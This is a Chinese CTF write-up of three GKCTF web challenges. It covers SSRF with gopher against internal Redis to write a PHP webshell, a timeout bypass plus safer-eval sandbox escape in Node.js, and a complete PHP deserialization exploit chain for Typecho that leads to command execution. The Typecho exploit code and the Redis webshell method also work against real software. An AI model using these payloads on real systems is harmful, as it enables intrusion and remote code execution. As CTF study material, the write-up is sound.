ctf php 流量分析题,GKCTF EZWEB的分析题解和思考
GKCTF EZ三劍客-EzWeb
看到這個題前端和我自己出的一個題實在是很像,同樣是輸入一個url,先看題目長啥樣吧。
嗯,啥也沒有,輸入url基本沒反應,F12給的提示是?secret,輸入后發現:
這就很敏感了,相當于一個
ifconfig
的命令,這個時候應該是SSRF打內網,看內網的存活主機有多少,直接burp抓個包爆破一下有新發現:
這個IP的其他端口有問題?不多說,nmap一把梭看看有哪些常見==問題端口== 很騷的一個點就是nmap如果不強調-p-參數`或者指定端口貌似不會掃6379 端口的,也就是redis 端口,而這個無疑是問題端口中的問題端口,因此可以指定掃6379端口:
下面其實就很明了了,redis未授權訪問嘛,但是是內網啊,你咋訪問?結合url,其實就知道是通過gopher協議來動手腳,gopher打Mysql和redis網上很多分析文章,這里簡單說一下原理。
gopher攻擊redis原理
先得從==RESP==協議開始
Redis服務器與客戶端通過RESP(REdis Serialization Protocol)協議通信。
RESP協議是在Redis 1.2中引入的,但它成為了與Redis 2.0中的Redis服務器通信的標準方式。這是您應該在Redis客戶端中實現的協議。
RESP實際上是一個支持以下數據類型的序列化協議:簡單字符串,錯誤,整數,批量字符串和數組。
RESP在Redis中用作請求 – 響應協議的方式如下:
客戶端將命令作為Bulk Strings的RESP數組發送到Redis服務器。
服務器根據命令實現回復一種RESP類型。
在RESP中,某些數據的類型取決于第一個字節:
對于Simple Strings,回復的第一個字節是+
對于error,回復的第一個字節是-
對于Integer,回復的第一個字節是:
對于Bulk Strings,回復的第一個字節是$
對于array,回復的第一個字節是*
此外,RESP能夠使用稍后指定的Bulk Strings或Array的特殊變體來表示Null值。
在RESP中,協議的不同部分始終以”rn”(CRLF)結束。
用tcpdump抓包分析一下,redis客戶端執行以下命令:
set name test
>OK
get name
>"test"
客戶端向將命令作為Bulk String的RESP數組發送到Redis服務器,然后服務器根據命令實現回復給客戶端一種RESP類型。
我們就拿上面的數據包分析,首先是*3,代表數組的長度為3(可以簡單理解為用空格為分隔符將命令分割為([“set”,”name”,”test”]); $4代表字符串的長度,0d0a即rn表示結束符;+OK表示服務端執行成功后返回的字符串
那么攻擊的原理也就是利用gopher來生成一個符合redis RESP協議的payload,這里推薦使用Gopherus這款工具,可以直接構造mysql、redis等gopher的payload。
python Gopherus.py --exploit --redis #指定是redis
直接把payload放到之前的url框中,然后在訪問shell.php
注意:ip應為內網存在redis服務的ip,而并非現在這個開放80端口的機子ip,訪問的時候也是訪問前者的ip/shell.php文件
然后直接在構造一個echo system("cat /flag")寫入指定php中即可
然后訪問存在redis主機的ip/shell.php:
GKCTF EZ三劍客-Eznode
看到這個題發現是一個Nodejs寫的,并且使用的是express框架,題目給了源碼,這里貼一下(省略了無關緊要的路由部分,加上了代碼注釋):
const express = require('express'); //用的是express框架
const bodyParser = require('body-parser');
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一個很棒的庫
const fs = require('fs');
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// 2020.1/WORKER2 老板說為了后期方便優化
app.use((req, res, next) => { //在/eval路由中,設置了delay默認是60000
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
//將get請求的delay返回整數后判斷是否為整數
delay = Math.max(delay, parseInt(req.query.delay));
//選取默認的delay值和傳參的delay值的最大值
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板說讓我優化一下速度,我就直接這樣寫了,其他人寫了啥關我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
const saferEval = require('safer-eval')nodejs的題在ha1cyon出現了幾次,一般涉及到nodejs的題就是沙箱逃逸,而導致能夠沙箱逃逸的,通常都是庫的問題,題目有特地強調了這個safer-eval的庫,直接去github找issues
人證物證時間證都在,應該就是這個點了,花點功夫看下邏輯是啥,這里直接把代碼內容放在注釋中。最關鍵的點仔細談一談:
setTimeout的分析
setTimeout,第一個參數為回調函數,第二個參數表示從當前時刻開始過多少毫秒后開始執行回調函數
setTimeout(() => {handler }, time); //在{handler}中執行你的方法,time是過多久執行
我們舉個例子
(function test() {
var timer = setTimeout(function (name) {
console.log('hello', name)
}, 3000, 'Micheal')
});
// 如果設定了clearTimeout,將不再執行setTimeout中的回調函數,參數值為setTimeout函數返回的定時器對象
(function test() {
var timer = setTimeout(function (name) {
console.log('hello', name)
}, 3000, 'Micheal')
clearTimeout(timer) //在3秒之內已經執行了clear,因此不會調用回調函數
});
所以我們結合來看
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
進入eval需要至少6秒,而在1秒內便會clearTimeout(t)使得無法進入下一個eval路由,我們如果能進入調用eval的方法,那么通過req.body.e結合沙箱溢出便能RCE。
當我們傳入的delay大于該值時,delay會變為1,那么就是說在1毫秒時調用回調函數,快于1秒時進行clearTimeout(t),因此再結合沙箱溢出的payload可以成功進行RCE。
EZ三劍客-EzTypecho
這個題已經出現過加強版的了,在MRCTF里出現過typecho反序列化利用PHP原生類Soapclient打SSRF的題,這里對比了一下原始版本的typecho反序列化漏洞,發現構造的payoad幾乎一眼,這里就跟著鏈子走一路:
當設置了session后,會對Typecho_Cookie::get('__typecho_config')base64解碼后反序列化,先回溯一下:
可以看到這一段是可控的,得到$config后便其傳入Typecho_Db中,跟進看看
發現是將這個參數當成字符串拼接了,那么如果這個$config['adapter']是一個其他類,并且該類有toString方法,就可以觸發魔術方法,全局搜索一下:
在Typecho_Feed類中找到標記的語句,還有出題人的提示QAQ,這里調用了$item['author']->screenName,如果該類是一個不能存在screenName屬性的類的話,那么這里就會調用這個類的__get()魔術方法,在Request.php中發現了這么一個魔術方法,
這里的$key就是"screenName",繼續跟進get()方法
$value可控,直接跟進到這個方法:
鏈子到這里基本結束了,這里調用了call_user_func,而兩個參數都是我們可控的,所以直接就能夠RCE。
貼下exp:
$cmd = 'system("ls")';
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
private $_type;
private $_items;
public function __construct() {
//$this->_type = $this::RSS2;
$this->_type = $this::ATOM1;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct() {
$this->_params['screenName'] = $GLOBALS[cmd];
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>
生成payload之后再來觸發反序列化條件,但是這個題并沒有看到session_start(),貌似只能找找其他觸發點了:
finish參數由于沒有session已經被阻擋了
如果有start參數,并且Referer設置為本站時,可以觸發反序列化操作,進行RCE
總結
總的來說,做的這三個EZ題目難度沒有特別大,但是出的質量也還挺好的,也是強化了一些思維,比如針對url想到CRLF或者SSRF探測內網,nodejs題目多往沙箱逃逸方向思考,善于利用Github等等,總而言之,對自己而言收獲還是很大的
總結
以上是生活随笔為你收集整理的ctf php 流量分析题,GKCTF EZWEB的分析题解和思考的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: php加图片源码_PHP添加文字水印或图
- 下一篇: php挖洞提权,记一次渗透挖洞提权实战